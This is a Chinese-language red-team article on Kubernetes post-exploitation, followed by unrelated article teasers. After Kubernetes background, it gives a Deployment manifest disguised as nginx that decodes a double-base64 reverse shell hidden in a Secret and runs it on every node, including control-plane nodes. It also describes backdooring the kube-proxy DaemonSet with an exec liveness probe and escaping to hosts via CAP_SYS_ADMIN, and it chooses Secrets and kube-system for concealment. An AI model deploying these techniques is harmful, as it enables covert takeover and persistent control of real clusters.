K8S后渗透横向节点与持久化隐蔽方式探索

前言

通常在红蓝对抗中,我们可能会通过各种方法如弱口令、sql注入、web应用漏洞导致的RCE等方法获得服务器的权限;在当前云原生迅猛发展的时代,这台服务器很可能是一个容器,在后续的后渗透由传统的提权变为容器逃逸,内网信息收集变为集群的信息收集,内网横向变成集群横向,拿下域控或者靶标变成获得集群的管理员权限;但是当拿下集群后如何拿下他们的宿主机呢?以及如何针对集群做持久化呢?本文主要从此来思考,由于目前主流的容器编排引擎和容器集群管理工具是Kubernetes,所以下文以Kubernetes集群为例。

Kubernetes

Kubernetes是一个开源的容器编排引擎和容器集群管理工具,用来对容器化应用进行自动化部署、 扩缩和管理。 Kubernetes 这个名字源于希腊语,意为“舵手”或“飞行员”。k8s 这个缩写是因为 k 和 s 之间有8个字符。Google 在 2014 年开源了 Kubernetes 项目。

Kubernetes架构

一个Kubernetes集群至少包含一个控制平面(control plane),以及一个或多个工作节点(worker node)。工作节点会托管 Pod ,而 Pod 就是作为应用负载的组件。控制平面管理集群中的工作节点和 Pod。

控制平面(Control Plane) : 控制平面负责管理工作节点和维护集群状态。所有任务分配都来自于控制平面。控制平面组件会为集群做出全局决策,比如资源的调度、检测和响应集群事件。

 

工作节点(Worker Node) : 工作节点负责执行由控制平面分配的请求任务,运行实际的应用和工作负载。节点组件会在每个节点上运行,负责维护运行的 Pod 并提供 Kubernetes 运行环境。

 

对于组件的具体内容可以参考官方文档[1]。我们最终的目的就是要获得所有的节点的权限,其中一般情况下是一个master节点,多个worker节点。

工作负载

工作负载是在 Kubernetes 上运行的应用程序。在 Kubernetes 中,无论你的负载是由单个组件还是由多个一同工作的组件构成,你都可以在一组 Pod 中运行它。在 Kubernetes 中,Pod 代表的是集群上处于运行状态的一组容器的集合。

可以通过利用不同的工作负载资源达到我们的目的在每一个节点上跑一个特权Pod。

Deployment

Deployment是对ReplicaSet和Pod更高级的抽象。它使Pod拥有多副本,自愈,扩缩容、滚动升级等能力。

ReplicaSet(副本集)是一个Pod的集合。它可以设置运行Pod的数量,确保任何时间都有指定数量的 Pod 副本在运行。通常我们不直接使用ReplicaSet,而是在Deployment中声明。

StatefulSet

StatefulSet 是用来管理有状态的应用。一般用于管理数据库、缓存等。与 Deployment 类似, StatefulSet用来管理 Pod 集合的部署和扩缩。

DaemonSet

DaemonSet 确保全部(或者某些)节点上运行一个 Pod 的副本。当有节点加入集群时, 也会为他们新增一个 Pod 。当有节点从集群移除时,这些 Pod 也会被回收。删除 DaemonSet 将会删除它创建的所有 Pod。

CronJob

Job 会创建一个或者多个 Pod,并将继续重试 Pod 的执行,直到指定数量的 Pod 成功终止。随着 Pod 成功结束,Job 跟踪记录成功完成的 Pod 个数。当数量达到指定的成功个数阈值时,任务(即 Job)结束。一个 CronJob 对象就像 crontab (cron table) 文件中的一行。它用 Cron[2] 格式进行编写, 并周期性地在给定的调度时间执行 Job。

Namespace

命名空间(Namespace)是一种资源隔离机制,将同一集群中的资源划分为相互隔离的组。

Kubernetes 会创建四个初始命名空间:

  • default: 默认的命名空间,不可删除,未指定命名空间的对象都会被分配到default中。

  • kube-system: Kubernetes 系统对象(控制平面和Node组件)所使用的命名空间。

  • kube-public: 自动创建的公共命名空间,所有用户(包括未经过身份验证的用户)都可以读取它。通常我们约定,将整个集群中公用的可见和可读的资源放在这个空间中。

  • kube-node-lease: 租约(Lease)[3]对象使用的命名空间。每个节点都有一个关联的 lease 对象,lease 是一种轻量级资源。lease对象通过发送心跳[4],检测集群中的每个节点是否发生故障。

下图为使用kubeadm搭建的k8s集群默认的ns以及相关资源。

 

k8s集群默认的leases

图片

 

可以将我们的Pod跑在当前集群看起来不常用的ns,比如kube-system

存储

将数据存储在容器中,一旦容器被删除,数据也会被删除,在k8s中给出了卷(Volume)这一概念来解决存储。卷是独立于容器之外的一块存储区域,通过挂载(Mount)的方式供Pod中的容器使用。

常见的卷类型有:

临时卷(Ephemeral Volume):

• emptyDir - 作为缓存或存储日志

• configMap 、secret、 downwardAPI(给Pod注入数据)

持久卷(Persistent Volume):

• 本地存储 - hostPath、 local

• 网络存储 - NFS

• 分布式存储 - Ceph(cephfs文件存储、rbd块存储)

投射卷(Projected Volumes):projected 卷可以将多个卷映射到同一个目录上。

根据名字可以看出临时卷和持久卷的主要特点,临时卷与Pod一起创建和删除,生命周期与Pod相同;持久卷主要删除Pod后,持久卷不会被删除。

通过以上特点我们可以将一些需要利用的敏感数据放在临时卷内,随Pod一起删除。

ConfigMap

  • 用来在键值对数据库(etcd)中保存非加密数据。一般用来保存配置文件。

  • 可以用作环境变量、命令行参数或者存储卷。

  • 将环境配置信息与容器镜像解耦,便于配置的修改。

  • 在设计上不是用来保存大量数据的。

在 ConfigMap 中保存的数据不可超过 1 MiB。超出此限制,需要考虑挂载存储卷或者访问文件存储服务。

apiVersion: v1
kind: ConfigMap
metadata:name: game-demo
data:# property-like keys; each key maps to a simple valueplayer_initial_lives: "3"ui_properties_file_name: "user-interface.properties"# file-like keysgame.properties: |enemy.types=aliens,monstersplayer.maximum-lives=5    user-interface.properties: |color.good=purplecolor.bad=yellowallow.textmode=true    

 

Secret

Secret 用于保存机密数据的对象。一般由于保存密码、令牌或密钥等。

  • data字段用来存储 base64 编码数据。

  • stringData存储未编码的字符串。

Secret 意味着你不需要在应用程序代码中包含机密数据,减少机密数据(如密码)泄露的风险。Secret 可以用作环境变量、命令行参数或者存储卷文件。

apiVersion: v1
kind: Secret
metadata:name: mysecret
type: Opaque
data:USER_NAME: YWRtaW4=PASSWORD: OGZmN2I3c3Y5OGZieTdneWQ=

 

管理对象

  • 命令行指令

例如,使用kubectl命令来创建和管理 Kubernetes 对象。命令行就好比口头传达,简单、快速、高效。但它功能有限,不适合复杂场景,操作不容易追溯,多用于开发和调试。

  • 声明式配置

kubernetes使用yaml文件来描述 Kubernetes 对象。声明式配置就好比申请表,学习难度大且配置麻烦。好处是操作留痕,适合操作复杂的对象,多用于生产。

配置对象

在创建的 Kubernetes 对象所对应的 yaml文件中,需要配置的字段如下:

  • apiVersion: Kubernetes API 的版本。

  • kind: 对象类别,例如PodDeploymentServiceReplicaSet等。

  • metadata: 描述对象的元数据,包括一个 name 字符串、UID 和可选的namespace

  • spec: 对象的配置。

标签

标签(Labels) 是附加到对象(比如 Pod)上的键值对,用于补充对象的描述信息。标签使用户能够以松散的方式管理对象映射,而无需客户端存储这些映射。由于一个集群中可能管理成千上万个容器,我们可以使用标签高效的进行选择和操作容器集合。

nodeSelector

nodeSelector 是一个选择算符,这些算符必须取值为 true 才能认为 Pod 适合在节点上运行。选择算符必须与节点的标签匹配,以便在该节点上调度 Pod。

Affinity

Affinity 是一组亲和性调度规则。

  • affinity.nodeAffinity (NodeAffinity[5])描述 Pod 的节点亲和性调度规则。

  • affinity.podAffinity (PodAffinity[6])描述 Pod 亲和性调度规则(例如,将此 Pod 与其他一些 Pod 放在同一节点、区域等)。

  • affinity.podAntiAffinity (PodAntiAffinity[7])描述 Pod 反亲和性调度规则(例如,避免将此 Pod 与其他一些 Pod 放在相同的节点、区域等)。

如果同时设置nodeSelector和nodeAffinity则必须同时满足两个条件,Pod才会运行到最终的节点上 如果同时指定多个nodeSelectorTerms,只要满足其中一个就可以匹配成功 如果nodeSelectorTerms有多个matchExpressions,则必须满足所有matchExpressions才可以运行Pod。

我们可以通过编写yaml创建需要利用的工作负载,结合相关配置跑在每个节点上。

部署一个Deployment在每个node利用

通过对kubernetes的了解,可以利用工作负载的特性利用Deployment、DaemonSet等创建相关资源,通过亲和性或者选择器等等在每一个节点上部署一个特权Pod,并将Pod通过配置命令执行的方式,获取所有Pod的shell,相当于获得了所有的节点宿主机权限。deployment部署每一个pod到node上,可以通过查看每个node对应的labels,选择一个所有node都能匹配到的。

图片

 

通过nodeSelector或者affinity.nodeAffinity将所有node选择到,查看node相关labels,直接匹配的话,由于master默认设置污点[8]无法匹配,可以通过容忍度设置在控制平面节点上运行。

图片

 

对于命令的配置可以直接写在相关的spec内,也可以利用k8s的存储,临时卷具有更好的隐蔽性,其中Secret更隐秘些。创建相关资源。

apiVersion: v1
kind: Secret
metadata:name: mysecret
type: Opaque
data:USER_NAME: TUR3bU1UWTVMVHRsZUdWaklERTJPVHcrTDJSbGRpOTBZM0F2TVRreUxqRTJPQzQxTmk0eEx6azVPRGc3YzJnZ1BDWXhOamtnUGlZeE5qa2dNajRtTVRZNQ==
---
apiVersion: apps/v1
kind: Deployment
metadata:name: nginx-deployment
spec:selector:matchLabels:app: nginxreplicas: 3template:metadata:labels:app: nginxspec:containers:- name: nginximage: nginx:1.22env:- name: USERvalueFrom:secretKeyRef:name: mysecretkey: USER_NAMEoptional: falseargs: - /bin/bash- -c- echo $USER | base64 -d | bashports:- containerPort: 80tolerations:- key: node-role.kubernetes.io/control-planeoperator: Existseffect: NoSchedule- key: node-role.kubernetes.io/masteroperator: Existseffect: NoSchedulenodeSelector:kubernetes.io/arch: amd64

成功创建在每个node上反弹获得shell。

图片

 

图片

利用现有资源

在进入集群后,查看当前集群已经创建的资源,可以找到一些直接利用的资源,就不用在自己创建,但是这样也会有一定的隐患,修改现有资源会导致Pod重启,可能会影响到正常的业务运行,这个就需要自己来取舍了。

修改哪些?

根据前文的探索与了解,可以根据不同的ns以及不同的资源来利用。

  • Deployment

  • StatefulSet

  • DaemonSet

  • CronJob

Lease

前文中发现了有一个特殊的ns是kube-node-lease,该ns下主要是Lease对象,主要,每一个节点都有一个与之对应的Lease对象,并且该对象隐蔽性很好。根据阅读相关文档[9]研究,由于LeaseSpec(LeaseSpec 是一个 Lease 的规范)不支持,没有执行命令的相关spec,不能执行命令的话导致无法反弹shell,所以无法利用。

容器探针

根据对Lease研究知道,首先这个东西起码要可以执行命令,通过继续对Kubernetes的不断探索,发现了一个叫做容器探针的东西。容器探针(probe)是kubelet用来对容器定期执行诊断的。

检测容器有四种方法:

  • exec:在容器内执行指定命令命令退出返回为0,成功退出,结合相关配置可以达到类似CronJob的效果;为了安全以及隐藏,不能真正完成探测不论启动、就绪、存活探测结果不能是失败,要不就重启或者删ip;

  • HTTP:发送一个httpGet请求,如果响应大于等于 200 且小于 400,则诊断被认为是成功的,只能用于本身是web服务的;由于不能同时使用多个检查方式,该方式利用不现实。

  • gRPC:使用gRPC执行一个远程调用,同上利用不现实。

  • tcp:对容器的 IP 地址上的指定端口执行 TCP 检查,虽然是kubelet直接在节点上发起探测,但是同上利用不现实。

探测类型主要有三种:

  • 存活(Liveness):存活探针是kubelet用来确定什么时候要重启容器。

  • 就绪(Readiness):就绪探针是kubelet可以知道容器何时准备好接受请求流量,当一个 Pod 内的所有容器都就绪时,才能认为该 Pod 就绪。

  • 启动(Startup):启动探针是kubelet用来了解应用容器何时启动。如果提供了启动探针,则所有其他探针都会被禁用,直到此探针成功为止。

通过对容器探针的进一步了解,可以通过修改当前集群现有资源,对具有每一个节点都有相关Pod运行的资源进行修改,结合探测类型某种程度上相当于将CronJon的特点融合了进来,添加检测方法为exec类型为存活探针进行利用,具体利用时可以再根据Probe[10]配置文档,设置initialDelaySecondsperiodSeconds等字段来控制反弹回的shell时间,以及Pod失败等重启。

如何修改现有资源对象?

以下命令主要为借助kubectl对现有资源进行修改:

  • apply:支持同时多个资源对象,资源不存在时将创建资源,该命令更新后会重启资源。

  • edit:可以直接编辑已经存在的资源,本质就是先get 后apply,可以编辑多个但是一次只能应用一个。

  • patch:通过命令行的方式添加部分内容,接受JSON或YAML格式。

  • replace:替换资源,先删除后创建,必须提供完整的spec。

  • set:配置资源,只能修改部分比如env、image、resources、selector、serviceaccount、subject。

利用kube-proxy

通过前文探索,对于较为的隐蔽的ns可以利用kube-system,在该ns下kube-proxy又是特别好拿来利用的,他本身就是DaemonSet在每一个节点上都有一Pod,并且是每一个集群最基本默认就存在的,并且经过测试,该Pod使用的环境中虽然条件苛刻,但是自带perl可以用来反弹,并且该Pod默认开启了多项Linux Capabilities可以直接逃逸到宿主机。

图片

 

可以看到是具有比如CAP_SYS_MODULECAP_DAC_READ_SEARCHCAP_SYS_ADMIN

图片

 

修改资源kubectl -n kube-system edit ds kube-proxy 添加容器探针的利用。

图片

 

修改成功。

图片

 

并成功反弹shell。

图片

 

如果kube-proxy启动的时候--hostname-override默认为空,那么容器内的hostname就是节点的名字,最后只需要利用CAP_SYS_ADMIN根据hostname逃逸到需要的节点。

图片

 

对于上文提到的手法,默安科技的云原生保护平台(CNAPP)-尚付已支持检测。 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/237283.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【MySQL】导入导出SQL脚本及远程备份---超详细介绍

目录 前言: 一 navcat导入导出 1.1 导入 1.2 导出 二 mysqldump 导入导出 2.1 导入 2.2 导出 三 load data infile命令导入导出 3.1 导入 3.2 导出 四 远程备份 五 思维导图 前言: 随着当今企业发展,数据库的数据越来越多&…

POI:对Excel的基本写操作 整理1

首先导入相关依赖 <!-- https://mvnrepository.com/artifact/org.apache.poi/poi --><!--xls(03)--><dependency><groupId>org.apache.poi</groupId><artifactId>poi</artifactId><version>5.2.2</version></depend…

Java副本的概念

在Java中&#xff0c;"副本"&#xff08;copy&#xff09;一词可以用于描述不同的概念&#xff0c;具体取决于上下文。以下是两个常见的用法&#xff1a; 对象的副本&#xff1a;在Java中&#xff0c;当你创建一个对象并将其赋值给另一个变量时&#xff0c;实际上是创…

electron自定义窗口和右键菜单样式

前言 electron默认沿用系统UI&#xff0c;并没有提供很多接口供使用者定制样式&#xff0c;如果想要完全自定义的样式&#xff0c;目前我能想到的方案只能是通过前端自定义样式&#xff0c;然后通过进程通信来实现系统基础功能&#xff1a;最大/小化、关闭、拖动窗口等。 效果…

迈入AI智能时代!ChatGPT国内版免费AI助手工具 peropure·AI正式上线 一个想法写一首歌?这事AI还真能干!

号外&#xff01;前几天推荐的Peropure.Ai迎来升级&#xff0c;现已支持联网模式&#xff0c;回答更新更准&#xff0c;欢迎注册体验&#xff1a; https://sourl.cn/5T74Hu 相信很多人都有过这样的想法&#xff0c;有没有一首歌能表达自己此时此刻的心情&#xff1a; 当你在深…

xtu oj 1329 连分式

题目描述 连分式是形如下面的分式&#xff0c;已知a,b和迭代的次数n&#xff0c;求连分式的值。 输入 第一行是一个整数T(1≤T≤1000)&#xff0c;表示样例的个数。 每行一个样例&#xff0c;为a,b,n(1≤a,b,n≤9) 输出 每行输出一个样例的结果&#xff0c;使用x/y分式表达…

Go-安装与基础语法

TOC 1. Go 安装与环境变量 1.1 下载 需要从Go语言的官方网站下载适合你操作系统的Go语言安装包。Go语言支持多种操作系统&#xff0c;包括Windows、Linux和Mac OS。 对于Windows用户&#xff0c;下载.msi文件&#xff0c;然后双击该文件&#xff0c;按照提示进行安装即可。…

学习Qt笔记

前言&#xff1a; 学习笔记的内容来自B站up主阿西拜编程 《Qt6 C开发指南 》2023&#xff08;上册&#xff0c;完整版&#xff09;_哔哩哔哩_bilibili《Qt6 C开发指南 》2023&#xff08;上册&#xff0c;完整版&#xff09;共计84条视频&#xff0c;包括&#xff1a;00书籍介…

FreeRTOS系统配置

一、前言 在实际使用FreeRTOS 的时候我们时常需要根据自己需求来配置FreeRTOS&#xff0c;而且不同架构 的MCU在使用的时候配置也不同。FreeRTOS的系统配置文件为FreeRTOSConfig.h&#xff0c;在此配置文件中可以完成FreeRTOS的裁剪和配置&#xff0c;这是非常重要的一个文件&a…

git修改历史(非最新)提交信息

二、修改最近第二次或更早之前的commit信息 当前有三次提交&#xff0c;从近到远分别为1、2、3 以修改第2次提交为例&#xff08;从最新往前数&#xff09; 1、使用命令git rebase -i HEAD~2 按i进入编辑模式&#xff0c;将对应的pick改为edit&#xff0c;然后ctrlc退出。最…

C++学习笔记(二十八):c++ 静态库及动态库的使用

静态库的使用 库的使用会很大程度减少我们的工作&#xff0c;本节对c中静态库和动态库的使用进行简单的介绍。静态链接库意味着这个库会被放到可执行文件中&#xff0c;在生成的exe中。动态链接库是在程序运行时链接的&#xff0c;可以在程序运行时调用加载库函数的方法来实现&…

【Linux运维】LVM和RAID学习及实践

LVM和RAID学习及实践 背景LVM简介新加硬盘的操作RAID-磁盘阵列应用场景RAID0RAID1其他结构RAID制作RAID 小结 背景 某台服务器的磁盘管理需要自己动手处理&#xff0c;找了一些资料也踩了一些坑&#xff0c;在这里记录一下&#xff0c;先介绍一下LVM和RAID这两个东西。在计算机…

通过反射修改MultipartFile类文件名

1、背景 项目上有这样一个需求&#xff0c;前端传文件过来&#xff0c;后端接收后按照特定格式对文件进行重命名。(修改文件名需求其实也可以在前端处理的) //接口类似于下面这个样子 PosMapping("/uploadFile") public R uploadFile(List<MultipartFile> fil…

Golang中for和for range语句的使用技巧、对比及常见的避坑

Update1 2024.1.0更新&#xff1a; Go 团队将修改 for 循环变量的语义&#xff0c;Go1.21 新版本即可体验&#xff01; 今天看见了这篇文章&#xff0c;Go的1.22版本将更新&#xff0c;大致理解未会默认进行v&#xff1a;v这个操作&#xff0c;因此此文所概述的许多坑&#xf…

鸿蒙(HarmonyOS)应用开发指南

1. 概述 1.1 简介 鸿蒙&#xff08;即 HarmonyOS &#xff0c;开发代号 Ark&#xff0c;正式名称为华为终端鸿蒙智能设备操作系统软件&#xff09;是华为公司自 2012 年以来开发的一款可支持鸿蒙原生应用和兼容 AOSP 应用的分布式操作系统。该系统利用“分布式”技术将手机、电…

imx6ull基于yocto工程的l汇编点亮ed

通过汇编点亮led 在裸机状态下通过汇编点亮led&#xff0c;即没有操作系统&#xff0c;(uboot kernel rootfs 都不需要实现&#xff09;。 led点亮原理 1.GPIO复用 根据原理图&#xff0c;找到led对应的引脚&#xff08;pin)&#xff0c;复用为GPIO&#xff08;只有GPIO才能…

Unity之角色控制器

PS:公司终于给我派任务了&#xff0c;最近几天都没学Unity&#x1f927;。 一、角色控制器的实现方式 目前小编知道的角色控制器实现方式有三种&#xff1a; 应用商店的角色控制系统Unity自己的角色控制器通过物理系统去做角色控制器 本篇介绍的是第二种Unity自己的角色控制…

springboot集成jsp

首先pom中引入依赖包 <!--引入servlet--> <dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId> </dependency> <!--引入jstl标签库--> <dependency><groupId>javax.servle…

脱机I/O方式和假脱机系统

提示&#xff1a;在写这个博客的时候小编更加的觉得计算机基础知识的重要性了&#xff0c;而且对计算机的整个发展历程和计算机的底层工作原理特别感兴趣 脱机I/O方式和假脱机系统 一、脱机I/O方式二、假脱机系统1、假脱机技术&#xff08;SPOOLing&#xff0c; simulataneaus …

[NSSCTF Round#16 Basic] CPR

打着玩玩&#xff0c;比赛很简单。 Crypto pr 一个RSA题&#xff0c;n1p*q,n2q*r给了两个c和p,r而且flag经过pad用单因子无法解出。分别用p,r解完再取crt from Crypto.Util.number import * import randomflagplaintext NSSCTF{****************} charset abcdefghijklmn…